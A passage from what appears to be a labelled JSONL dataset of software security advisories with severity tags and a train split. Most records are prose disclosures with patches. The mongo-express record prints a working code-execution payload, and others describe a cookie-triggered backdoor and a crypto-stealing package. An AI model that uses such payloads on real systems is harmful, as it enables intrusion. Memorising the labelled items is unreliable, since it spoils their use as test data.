There is no way to generically sanitize a header without potentially shadowing a correct one.\n* If a header value is invalid in a request or response, it is sanitized by replacing null (`\\u0000`), carriage return (`\\r`), and newline (`\\n`) with space (` `) characters per spec.\n* If a URI path or registered name is invalid in a request line, the client raises an `IllegalArgumentException`.\n* If a URI registered name is invalid in a host header, the client raises an `IllegalArgumentException`. \n\n### Workarounds\n\nhttp4s services and client applications should sanitize any user input in the aforementioned fields before returning a request or response to the backend.  The carriage return, newline, and null characters are the most threatening.\n\nNot all backends were affected: jetty-server, tomcat-server, armeria, and netty on the server; async-http-client, okhttp-client, armeria, and netty as clients.\n\n### References\n* https://owasp.org/www-community/attacks/HTTP_Response_Splitting\n* https://httpwg.org/http-core/draft-ietf-httpbis-semantics-latest.html#fields.values\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [GitHub](http://github.com/http4s/http4s)\n* Contact us via the [http4s securit", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-22", "split": "train"}
-{"id": "e855710e74a1a885c2bf", "text": "Execution of untrusted code through config file\n\n### Impact\nIt is possible to run arbitrary commands through the yaml.load() method.  This could allow an attacker with local access to the host to run arbitrary code by running the application with a specially crafted YAML configuration file.\n\n### Workarounds\nManually adjust yaml.load() to yaml.safe_load()\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [tenable/integration-jira-cloud](https://github.com/tenable/integration-jira-cloud/issues)\n* Email us at [vulnreport@tenable.com](mailto:vulnreport@tenable.com)", "text_raw": "Execution of untrusted code through config file\n\n[Severity: MEDIUM]\n\n### Impact\nIt is possible to run arbitrary commands through the yaml.load() method.  This could allow an attacker with local access to the host to run arbitrary code by running the application with a specially crafted YAML configuration file.\n\n### Workarounds\nManually adjust yaml.load() to yaml.safe_load()\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [tenable/integration-jira-cloud](https://github.com/tenable/integration-jira-cloud/issues)\n* Email us at [vulnreport@tenable.com](mailto:vulnreport@tenable.com)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-03-10", "split": "train"}
-{"id": "0e59c0138ada3ceeab54", "text": "Undefined behavior in Tensorflow\n\n### Impact\nIf a user passes an invalid argument to `dlpack.to_dlpack` the expected validations will cause variables to bind to `nullptr` while setting a `status` variable to the error condition.\n\nHowever, this `status` argument is not properly checked:\nhttps://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/c/eager/dlpack.cc#L265-L267\n\nHence, code following these methods will bind references to null pointers:\nhttps://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/c/eager/dlpack.cc#L279-L285\n\nThis is undefined behavior and reported as an error if compiling with `-fsanitize=null`.\n\n### Patches\nWe have patched the issue in 22e07fb204386768e5bcbea563641ea11f96ceb8 and will release a patch release for all affected versions.\n\nWe recommend users to upgrade to TensorFlow 2.2.1 or 2.3.1.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been discovered during variant analysis of [GHSA-rjjg-hgv6-h69v](https://github.com/tensorflow/tensorflow/security/advisories/GHSA-rjjg-hgv6-h69v).", "text_raw": "Undefined behavior in Tensorflow\n\n[Severity: MEDIUM]\n\n### Impact\nIf a user passes an invalid argument to `dlpack.to_dlpack` the expected validations will cause variables to bind to `nullptr` while setting a `status` variable to the error condition.\n\nHowever, this `status` argument is not properly checked:\nhttps://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/c/eager/dlpack.cc#L265-L267\n\nHence, code following these methods will bind references to null pointers:\nhttps://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/c/eager/dlpack.cc#L279-L285\n\nThis is undefined behavior and reported as an error if compiling with `-fsanitize=null`.\n\n### Patches\nWe have patched the issue in 22e07fb204386768e5bcbea563641ea11f96ceb8 and will release a patch release for all affected versions.\n\nWe recommend users to upgrade to TensorFlow 2.2.1 or 2.3.1.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been discovered during variant analysis of [GHSA-rjjg-hgv6-h69v](https://github.com/tensorflow/tensorflow/security/advisories/GHSA-rjjg-hgv6-h69v).", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-25", "split": "train"}
-{"id": "3d25e7e098bdf3df2527", "text": "Micro Focus Access Manager Information Leakage Vulnerability\n\nAffected: Micro Focus Micro Focus Access Manager\n\nMicro Focus Access Manager contains an information leakage vulnerability resulting from a SAML service provider redirection issue when the Assertion Consumer Service URL is used.\n\nRequired Action: Apply updates per vendor instructions.\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Micro Focus Access Manager Information Leakage Vulnerability\n\nAffected: Micro Focus Micro Focus Access Manager\n\nMicro Focus Access Manager contains an information leakage vulnerability resulting from a SAML service provider redirection issue when the Assertion Consumer Service URL is used.\n\nRequired Action: Apply updates per vendor instructions.\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "c40e6b8fce4c1af9c3c1", "text": "Uncontrolled resource consumption in jpeg-js\n\nUncontrolled resource consumption in `jpeg-js` before 0.4.0 may allow attacker to launch denial of service attacks using specially a crafted JPEG image.", "text_raw": "Uncontrolled resource consumption in jpeg-js\n\n[Severity: MEDIUM]\n\nUncontrolled resource consumption in `jpeg-js` before 0.4.0 may allow attacker to launch denial of service attacks using specially a crafted JPEG image.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-07-27", "split": "train"}
-{"id": "f438703c6afa7c999699", "text": "SQL Injection via in django-debug-toolbar\n\n### Impact\nWith Django Debug Toolbar attackers are able to execute SQL by changing the `raw_sql` input of the SQL explain, analyze or select forms and submitting the form.\n\n### Patches\nPlease upgrade to one of the following versions, depending on the major version you're using:\n\n- Version 1.x: [django-debug-toolbar 1.11.1](https://pypi.org/project/django-debug-toolbar/1.11.1/)\n- Version 2.x: [django-debug-toolbar 2.2.1](https://pypi.org/project/django-debug-toolbar/2.2.1/)\n- Version 3.x: [django-debug-toolbar 3.2.1](https://pypi.org/project/django-debug-toolbar/3.2.1/)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in the [django-debug-toolbar repo](https://github.com/jazzband/django-debug-toolbar/issues/new)  (Please NO SENSITIVE INFORMATION, send an email instead!)\n* Email us at [security@jazzband.co](mailto:security@jazzband.co)", "text_raw": "SQL Injection via in django-debug-toolbar\n\n[Severity: HIGH]\n\n### Impact\nWith Django Debug Toolbar attackers are able to execute SQL by changing the `raw_sql` input of the SQL explain, analyze or select forms and submitting the form.\n\n**NOTE:** This is a high severity issue for anyone using the toolbar in a **production environment**.\n\nGenerally the Django Debug Toolbar team only maintains the latest version of django-debug-toolbar, but an exception was made because of the high severity of this issue.\n\n### Patches\nPlease upgrade to one of the following versions, depending on the major version you're using:\n\n- Version 1.x: [django-debug-toolbar 1.11.1](https://pypi.org/project/django-debug-toolbar/1.11.1/)\n- Version 2.x: [django-debug-toolbar 2.2.1](https://pypi.org/project/django-debug-toolbar/2.2.1/)\n- Version 3.x: [django-debug-toolbar 3.2.1](https://pypi.org/project/django-debug-toolbar/3.2.1/)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in the [django-debug-toolbar repo](https://github.com/jazzband/django-debug-toolbar/issues/new)  (Please NO SENSITIVE INFORMATION, send an email instead!)\n* Email us at [security@jazzband.co](mailto:security@jazzband.co)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-04-16", "split": "train"}
-{"id": "430942232969013d7ebf", "text": "Possible Strong Parameters Bypass in ActionPack\n\nThere is a strong parameters bypass vector in ActionPack.\n\nVersions Affected:  rails <= 6.0.3\nNot affected:       rails < 5.0.0\nFixed Versions:     rails >= 5.2.4.3, rails >= 6.0.3.1\n\nImpact\n------\nIn some cases user supplied information can be inadvertently leaked from\nStrong Parameters.  Specifically the return value of `each`, or `each_value`,\nor `each_pair` will return the underlying \"untrusted\" hash of data that was\nread from the parameters.  Applications that use this return value may be\ninadvertently use untrusted user input.\n\nImpacted code will look something like this:\n\n```\ndef update\n  # Attacker has included the parameter: `{ is_admin: true }`\n  User.update(clean_up_params)\nend\n\ndef clean_up_params\n   params.each { |k, v|  SomeModel.check(v) if k == :name }\nend\n```\n\nNote the mistaken use of `each` in the `clean_up_params` method in the above\nexample.\n\nWorkarounds\n-----------\nDo not use the return values of `each`, `each_value`, or `each_pair` in your\napplication.", "text_raw": "Possible Strong Parameters Bypass in ActionPack\n\n[Severity: HIGH]\n\nThere is a strong parameters bypass vector in ActionPack.\n\nVersions Affected:  rails <= 6.0.3\nNot affected:       rails < 5.0.0\nFixed Versions:     rails >= 5.2.4.3, rails >= 6.0.3.1\n\nImpact\n------\nIn some cases user supplied information can be inadvertently leaked from\nStrong Parameters.  Specifically the return value of `each`, or `each_value`,\nor `each_pair` will return the underlying \"untrusted\" hash of data that was\nread from the parameters.  Applications that use this return value may be\ninadvertently use untrusted user input.\n\nImpacted code will look something like this:\n\n```\ndef update\n  # Attacker has included the parameter: `{ is_admin: true }`\n  User.update(clean_up_params)\nend\n\ndef clean_up_params\n   params.each { |k, v|  SomeModel.check(v) if k == :name }\nend\n```\n\nNote the mistaken use of `each` in the `clean_up_params` method in the above\nexample.\n\nWorkarounds\n-----------\nDo not use the return values of `each`, `each_value`, or `each_pair` in your\napplication.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-05-26", "split": "train"}
-{"id": "cc0f8055bad12824e955", "text": "Cross-site Scripting in node-red-dashboard\n\nIt is possible to inject JavaScript within node-red-dashboard versions prior to version 2.17.0 due to the ui_notification node accepting raw HTML by default.", "text_raw": "Cross-site Scripting in node-red-dashboard\n\n[Severity: MEDIUM]\n\nIt is possible to inject JavaScript within node-red-dashboard versions prior to version 2.17.0 due to the ui_notification node accepting raw HTML by default.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-10-25", "split": "train"}
-{"id": "dd76bcdb96abf20923a2", "text": "Remote Code Execution (RCE) vulnerability in dropwizard-validation\n\nDropwizard-Validation before 1.3.19, and 2.0.2 may allow arbitrary code execution on the host system, with the privileges of the Dropwizard service account, by injecting arbitrary Java Expression Language expressions when using the self-validating feature.\n\n### Summary\n\nA server-side template injection was identified in the self-validating ([`@SelfValidating`](https://javadoc.io/static/io.dropwizard/dropwizard-project/2.0.2/io/dropwizard/validation/selfvalidating/SelfValidating.html)) feature of **dropwizard-validation** enabling attackers to inject arbitrary Java EL expressions, leading to Remote Code Execution (RCE) vulnerability.\n\nIf you're using a self-validating bean (via [`@SelfValidating`](https://javadoc.io/static/io.dropwizard/dropwizard-project/2.0.2/io/dropwizard/validation/selfvalidating/SelfValidating.html)), an upgrade to Dropwizard 1.3.19 or 2.0.2 is strongly recommended.\n\n### Impact\n\nThis issue may allow Remote Code Execution (RCE), allowing to run arbitrary code on the host system (with the privileges of the Dropwizard service account privileges) by injecting arbitrary [Java Expression Language (EL)](https://docs.jboss.org/hibernate/validator/6.1/reference/en-US/html_single/#section-interpolation-with-message-expressions) expressions when using the self-validating feature ([`@SelfValidating`](https://javadoc.io/static/io.dropwizard/dropwizard-project/2.0.2/io/dropwizard/validation/selfvalidating/SelfValidating.html), [`@SelfValidation`](https://javadoc.io/static/io.dropwizard/dropwizard-project/2.0.2/io/dropwizard/validation/selfvalidating/SelfValidation.html)) in **dropwizard-validation**.\n\n### Patches\n\nThe issue has been fixed in **dropwizard-validation** **1.3.19** and **2.0.2**. We strongly recommend upgrading to one of these versions.\n\n### Workarounds\n\nIf you are not able to upgrade to one of the aforementioned versions of **dropwizard-validation** but still want to use the [`@SelfValidating`](https://javadoc.io/static/io.dropwizard/dropwizard-project/2.0.2/io/dropwizard/validation/selfvalidating/SelfValidating.html) feature, make sure to properly sanitize any message you're adding to the [`ViolationCollector`](https://javadoc.io/static/io.dropwizard/dropwizard-project/2.0.2/io/dropwizard/validation/selfvalidating/ViolationCollector.html) in the method annotated with [`@SelfValidation`](https://javadoc.io/static/io.dropwizard/dropwizard-project/2.0.2/io/dropwizard/validation/selfvalidating/SelfValidation.html).\n\nExample:\n```java\n@SelfValidation\npublic void validateFullName(ViolationCollector col) {\n    if (fullName.contains(\"_\")) {\n        // Sanitize fullName variable by escaping relevant characters such as \"$\"\n        col.addViolation(\"Full name contains invalid characters:  \" + sanitizeJavaEl(fullName));\n    }\n}\n```\n\nSee also:\nhttps://github.com/dropwizard/dropwizard/blob/v2.0.2/dropwizard-validation/src/main/java/io/dropwizard/validation/selfvalidating/ViolationCollector.java#L84-L98\n\n### References\n\n* https://github.com/dropwizard/dropwizard/pull/3157\n* https://github.com/dropwizard/dropwizard/pull/3160\n* https://docs.oracle.com/javaee/7/tutorial/jsf-el.htm\n* https://docs.jboss.org/hibernate/validator/6.1/reference/en-US/html_single/#section-interpolation-with-message-expressions\n* https://beanvalidation.org/2.0/spec/#validationapi-message-defaultmessageinterpolation\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [dropwizard/dropwizard](https://github.com/dropwizard/dropwizard/issues/new)\n* Start a discussion on the [dropwizard-dev mailing list](https://groups.google.com/forum/#!forum/dropwizard-dev)\n\n### Security contact\n\nIf you want to responsibly disclose a security issue in Dropwizard or one of its official modules, please contact us via the published channels in our [security policy](https://github.com/dropwizard/dropwizard/security/policy):\n\nhttps://github.com/dropwizard/dropwizard/security/policy#reporting-a-vulnerability", "text_raw": "Remote Code Execution (RCE) vulnerability in dropwizard-validation\n\n[Severity: HIGH]\n\nDropwizard-Validation before 1.3.19, and 2.0.2 may allow arbitrary code execution on the host system, with the privileges of the Dropwizard service account, by injecting arbitrary Java Expression Language expressions when using the self-validating feature.\n\n### Summary\n\nA server-side template injection was identified in the self-validating ([`@SelfValidating`](https://javadoc.io/static/io.dropwizard/dropwizard-project/2.0.2/io/dropwizard/validation/selfvalidating/SelfValidating.html)) feature of **dropwizard-validation** enabling attackers to inject arbitrary Java EL expressions, leading to Remote Code Execution (RCE) vulnerability.\n\nIf you're using a self-validating bean (via [`@SelfValidating`](https://javadoc.io/static/io.dropwizard/dropwizard-project/2.0.2/io/dropwizard/validation/selfvalidating/SelfValidating.html)), an upgrade to Dropwizard 1.3.19 or 2.0.2 is strongly recommended.\n\n### Impact\n\nThis issue may allow Remote Code Execution (RCE), allowing to run arbitrary code on the host system (with the privileges of the Dropwizard service account privileges) by injecting arbitrary [Java Expression Language (EL)](https://docs.jboss.org/hibernate/validator/6.1/reference/en-US/html_single/#section-interpolation-with-message-expressions) expressions when using the self-validating feature ([`@SelfValidating`](https://javadoc.io/static/io.dropwizard/dropwizard-project/2.0.2/io/dropwizard/validation/selfvalidating/SelfValidating.html), [`@SelfValidation`](https://javadoc.io/static/io.dropwizard/dropwizard-project/2.0.2/io/dropwizard/validation/selfvalidating/SelfValidation.html)) in **dropwizard-validation**.\n\n### Patches\n\nThe issue has been fixed in **dropwizard-validation** **1.3.19** and **2.0.2**. We strongly recommend upgrading to one of these versions.\n\n### Workarounds\n\nIf you are not able to upgrade to one of the aforementioned versions of **dropwizard-validation** but still want to use the [`@SelfValidating`](https://javadoc.io/static/io.dropwizard/dropwizard-project/2.0.2/io/dropwizard/validation/selfvalidating/SelfValidating.html) feature, make sure to properly sanitize any message you're adding to the [`ViolationCollector`](https://javadoc.io/static/io.dropwizard/dropwizard-project/2.0.2/io/dropwizard/validation/selfvalidating/ViolationCollector.html) in the method annotated with [`@SelfValidation`](https://javadoc.io/static/io.dropwizard/dropwizard-project/2.0.2/io/dropwizard/validation/selfvalidating/SelfValidation.html).\n\nExample:\n```java\n@SelfValidation\npublic void validateFullName(ViolationCollector col) {\n    if (fullName.contains(\"_\")) {\n        // Sanitize fullName variable by escaping relevant characters such as \"$\"\n        col.addViolation(\"Full name contains invalid characters:  \" + sanitizeJavaEl(fullName));\n    }\n}\n```\n\nSee also:\nhttps://github.com/dropwizard/dropwizard/blob/v2.0.2/dropwizard-validation/src/main/java/io/dropwizard/validation/selfvalidating/ViolationCollector.java#L84-L98\n\n### References\n\n* https://github.com/dropwizard/dropwizard/pull/3157\n* https://github.com/dropwizard/dropwizard/pull/3160\n* https://docs.oracle.com/javaee/7/tutorial/jsf-el.htm\n* https://docs.jboss.org/hibernate/validator/6.1/reference/en-US/html_single/#section-interpolation-with-message-expressions\n* https://beanvalidation.org/2.0/spec/#validationapi-message-defaultmessageinterpolation\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [dropwizard/dropwizard](https://github.com/dropwizard/dropwizard/issues/new)\n* Start a discussion on the [dropwizard-dev mailing list](https://groups.google.com/forum/#!forum/dropwizard-dev)\n\n### Security contact\n\nIf you want to responsibly disclose a security issue in Dropwizard or one of its official modules, please contact us via the published channels in our [security policy](https://github.com/dropwizard/dropwizard/security/policy):\n\nhttps://github.com/dropwizard/dropwizard/security/policy#reporting-a-vulnerability", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-02-24", "split": "train"}
-{"id": "c1e59651bda367b1aa46", "text": "Phar object injection in PHPMailer\n\nPHPMailer versions prior to 6.0.6 and 5.2.27 are vulnerable to an object injection attack by passing phar:// paths into `addAttachment()` and other functions that may receive unfiltered local paths, possibly leading to RCE. See [this article](https://knasmueller.net/5-answers-about-php-phar-exploitation) for more info on this type of vulnerability. Mitigated by blocking the use of paths containing URL-protocol style prefixes such as `phar://`. Reported by Sehun Oh of cyberone.kr.\n\n### Impact\nObject injection, possible remote code execution\n\n### Patches\nFixed in 6.0.6 and 5.2.27\n\n### Workarounds\nValidate and sanitise user input before using.\n\n### References\nhttps://nvd.nist.gov/vuln/detail/CVE-2018-19296\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open a private issue in [the PHPMailer project](https://github.com/PHPMailer/PHPMailer)", "text_raw": "Phar object injection in PHPMailer\n\n[Severity: HIGH]\n\nPHPMailer versions prior to 6.0.6 and 5.2.27 are vulnerable to an object injection attack by passing phar:// paths into `addAttachment()` and other functions that may receive unfiltered local paths, possibly leading to RCE. See [this article](https://knasmueller.net/5-answers-about-php-phar-exploitation) for more info on this type of vulnerability. Mitigated by blocking the use of paths containing URL-protocol style prefixes such as `phar://`. Reported by Sehun Oh of cyberone.kr.\n\n### Impact\nObject injection, possible remote code execution\n\n### Patches\nFixed in 6.0.6 and 5.2.27\n\n### Workarounds\nValidate and sanitise user input before using.\n\n### References\nhttps://nvd.nist.gov/vuln/detail/CVE-2018-19296\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open a private issue in [the PHPMailer project](https://github.com/PHPMailer/PHPMailer)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-03-05", "split": "train"}
-{"id": "a9bdacc7f92be300951e", "text": "Phusion Passenger Denial of Service\n\nPhusion Passenger gem before 3.0.21 and 4.0.x before 4.0.5 for Ruby allows local users to cause a denial of service (prevent application start) or gain privileges by pre-creating a temporary \"config\" file in a directory with a predictable name in `/tmp/` before it is used by the gem.", "text_raw": "Phusion Passenger Denial of Service\n\n[Severity: MEDIUM]\n\nPhusion Passenger gem before 3.0.21 and 4.0.x before 4.0.5 for Ruby allows local users to cause a denial of service (prevent application start) or gain privileges by pre-creating a temporary \"config\" file in a directory with a predictable name in `/tmp/` before it is used by the gem.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "95aa0caf238ff2fcc38d", "text": "Unauthorized client-side property update in UIDL request handler in Vaadin 10 and 11\n\nMissing check in UIDL request handler in `com.vaadin:flow-server` versions 1.0.0 through 1.0.5 (Vaadin 10.0.0 through 10.0.7, and 11.0.0 through 11.0.2) allows attacker to update element property values via crafted synchronization message.\n\n- https://vaadin.com/security/cve-2018-25007", "text_raw": "Unauthorized client-side property update in UIDL request handler in Vaadin 10 and 11\n\n[Severity: LOW]\n\nMissing check in UIDL request handler in `com.vaadin:flow-server` versions 1.0.0 through 1.0.5 (Vaadin 10.0.0 through 10.0.7, and 11.0.0 through 11.0.2) allows attacker to update element property values via crafted synchronization message.\n\n- https://vaadin.com/security/cve-2018-25007", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-04-19", "split": "train"}
-{"id": "5be96853dc76e9efdd48", "text": "Malicious Package in j3-sha3\n\nVersion 0.8.0 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "text_raw": "Malicious Package in j3-sha3\n\n[Severity: CRITICAL]\n\nVersion 0.8.0 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "8543a085c89f285eb8db", "text": "Emby MediaServer 3.2.5 Directory Traversal File Disclosure Vulnerability", "text_raw": "Emby MediaServer 3.2.5 Directory Traversal File Disclosure Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2017-04-30", "split": "train"}
-{"id": "e6ebbd12bc156998551a", "text": "Privilage Escalation in moodle\n\nIn moodle, insufficient capability checks could lead to users with the ability to course restore adding additional capabilities to roles within that course. Versions affected: 3.9 to 3.9.2, 3.8 to 3.8.5, 3.7 to 3.7.8, 3.5 to 3.5.14 and earlier unsupported versions. This is fixed in moodle 3.9.3, 3.8.6, 3.7.9, 3.5.15, and 3.10.", "text_raw": "Privilage Escalation in moodle\n\n[Severity: HIGH]\n\nIn moodle, insufficient capability checks could lead to users with the ability to course restore adding additional capabilities to roles within that course. Versions affected: 3.9 to 3.9.2, 3.8 to 3.8.5, 3.7 to 3.7.8, 3.5 to 3.5.14 and earlier unsupported versions. This is fixed in moodle 3.9.3, 3.8.6, 3.7.9, 3.5.15, and 3.10.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-03-29", "split": "train"}
-{"id": "f80e3a3053f37f246d33", "text": "Bootstrap-sass contains code execution backdoor\n\nArbitrary code execution (via backdoor code) was discovered in bootstrap-sass 3.2.0.3, when downloaded from rubygems.org. An unauthenticated attacker can craft the ___cfduid cookie value with base64 arbitrary code to be executed via eval(), which can be leveraged to execute arbitrary code on the target system. Note that there are three underscore characters in the cookie name. This is unrelated to the __cfduid cookie that is legitimately used by Cloudflare.", "text_raw": "Bootstrap-sass contains code execution backdoor\n\n[Severity: CRITICAL]\n\nArbitrary code execution (via backdoor code) was discovered in bootstrap-sass 3.2.0.3, when downloaded from rubygems.org. An unauthenticated attacker can craft the ___cfduid cookie value with base64 arbitrary code to be executed via eval(), which can be leveraged to execute arbitrary code on the target system. Note that there are three underscore characters in the cookie name. This is unrelated to the __cfduid cookie that is legitimately used by Cloudflare.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-04-04", "split": "train"}
-{"id": "d83062d40d8972c09380", "text": "Qutebrowser CSRF Vulnerability\n\nqutebrowser before version 1.4.1 is vulnerable to a cross-site request forgery flaw that allows websites to access `qute://*` URLs. A malicious website could exploit this to load a `qute://settings/set` URL, which then sets `editor.command` to a bash script, resulting in arbitrary code execution.", "text_raw": "Qutebrowser CSRF Vulnerability\n\n[Severity: HIGH]\n\nqutebrowser before version 1.4.1 is vulnerable to a cross-site request forgery flaw that allows websites to access `qute://*` URLs. A malicious website could exploit this to load a `qute://settings/set` URL, which then sets `editor.command` to a bash script, resulting in arbitrary code execution.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-10", "split": "train"}
-{"id": "4d28e678f1fd74be1c72", "text": "Segmentation faultin TensorFlow when converting a Python string to `tf.float16`\n\n### Impact\n\nConverting a string (from Python) to a `tf.float16` value results in a segmentation fault in eager mode as the format checks for this use case are only in the graph mode.\n\nThis issue can lead to denial of service in inference/training where a malicious attacker can send a data point which contains a string instead of a `tf.float16` value.\n\nSimilar effects can be obtained by manipulating saved models and checkpoints whereby replacing a scalar `tf.float16` value with a scalar string will trigger this issue due to automatic conversions.\n\nThis can be easily reproduced by `tf.constant(\"hello\", tf.float16)`, if eager execution is enabled.\n\n### Patches\nWe have patched the vulnerability in GitHub commit [5ac1b9](https://github.com/tensorflow/tensorflow/commit/5ac1b9e24ff6afc465756edf845d2e9660bd34bf).\n\nWe are additionally releasing TensorFlow 1.15.1 and 2.0.1 with this vulnerability patched.\n\nTensorFlow 2.1.0 was released after we fixed the issue, thus it is not affected.\n\nWe encourage users to switch to TensorFlow 1.15.1, 2.0.1 or 2.1.0.\n\n### For more information\n\nPlease consult [`SECURITY.md`](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.", "text_raw": "Segmentation faultin TensorFlow when converting a Python string to `tf.float16`\n\n[Severity: LOW]\n\n### Impact\n\nConverting a string (from Python) to a `tf.float16` value results in a segmentation fault in eager mode as the format checks for this use case are only in the graph mode.\n\nThis issue can lead to denial of service in inference/training where a malicious attacker can send a data point which contains a string instead of a `tf.float16` value.\n\nSimilar effects can be obtained by manipulating saved models and checkpoints whereby replacing a scalar `tf.float16` value with a scalar string will trigger this issue due to automatic conversions.\n\nThis can be easily reproduced by `tf.constant(\"hello\", tf.float16)`, if eager execution is enabled.\n\n### Patches\nWe have patched the vulnerability in GitHub commit [5ac1b9](https://github.com/tensorflow/tensorflow/commit/5ac1b9e24ff6afc465756edf845d2e9660bd34bf).\n\nWe are additionally releasing TensorFlow 1.15.1 and 2.0.1 with this vulnerability patched.\n\nTensorFlow 2.1.0 was released after we fixed the issue, thus it is not affected.\n\nWe encourage users to switch to TensorFlow 1.15.1, 2.0.1 or 2.1.0.\n\n### For more information\n\nPlease consult [`SECURITY.md`](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-01-28", "split": "train"}
-{"id": "b5ec92f4b2ee1ec2d855", "text": "Eve allows execution of arbitrary code\n\n`io/mongo/parser.py` in Eve (aka pyeve) before 0.7.5 allows remote attackers to execute arbitrary code via Code Injection in the `where` parameter.", "text_raw": "Eve allows execution of arbitrary code\n\n[Severity: CRITICAL]\n\n`io/mongo/parser.py` in Eve (aka pyeve) before 0.7.5 allows remote attackers to execute arbitrary code via Code Injection in the `where` parameter.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-07-12", "split": "train"}
-{"id": "0fd76cdedec44d004a4d", "text": "Macro in MathJax running untrusted Javascript within a web browser\n\nMathJax version prior to version 2.7.4 contains a Cross Site Scripting (XSS) vulnerability in the `\\unicode{}` macro that can result in Potentially untrusted Javascript running within a web browser. This attack appear to be exploitable via The victim must view a page where untrusted content is processed using Mathjax. This vulnerability appears to have been fixed in 2.7.4 and later.", "text_raw": "Macro in MathJax running untrusted Javascript within a web browser\n\n[Severity: MEDIUM]\n\nMathJax version prior to version 2.7.4 contains a Cross Site Scripting (XSS) vulnerability in the `\\unicode{}` macro that can result in Potentially untrusted Javascript running within a web browser. This attack appear to be exploitable via The victim must view a page where untrusted content is processed using Mathjax. This vulnerability appears to have been fixed in 2.7.4 and later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-07-27", "split": "train"}
-{"id": "bc62fec92cf55d081f43", "text": "Remote Code Execution Vulnerability in NPM mongo-express\n\n### Impact\n\nRemote code execution on the host machine by any authenticated user.\n\n### Proof Of Concept\n\nLaunching mongo-express on a Mac, pasting the following into the \"create index\" field will pop open the Mac calculator:\n\n```javascript\nthis.constructor.constructor(\"return process\")().mainModule.require('child_process').execSync('/Applications/Calculator.app/Contents/MacOS/Calculator')\n```\n\n### Patches\nUsers should upgrade to version `0.54.0`\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [example link to repo](http://example.com)\n* Email us at [example email address](mailto:example@example.com)\n\n#### Thanks\n\n@JLLeitschuh for finding and reporting this vulnerability\n\nThis vulnerability has been [exploited](https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2019-10758) in the wild.", "text_raw": "Remote Code Execution Vulnerability in NPM mongo-express\n\n[Severity: CRITICAL]\n\n### Impact\n\nRemote code execution on the host machine by any authenticated user.\n\n### Proof Of Concept\n\nLaunching mongo-express on a Mac, pasting the following into the \"create index\" field will pop open the Mac calculator:\n\n```javascript\nthis.constructor.constructor(\"return process\")().mainModule.require('child_process').execSync('/Applications/Calculator.app/Contents/MacOS/Calculator')\n```\n\n### Patches\nUsers should upgrade to version `0.54.0`\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [example link to repo](http://example.com)\n* Email us at [example email address](mailto:example@example.com)\n\n#### Thanks\n\n@JLLeitschuh for finding and reporting this vulnerability\n\nThis vulnerability has been [exploited](https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2019-10758) in the wild.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-12-30", "split": "train"}
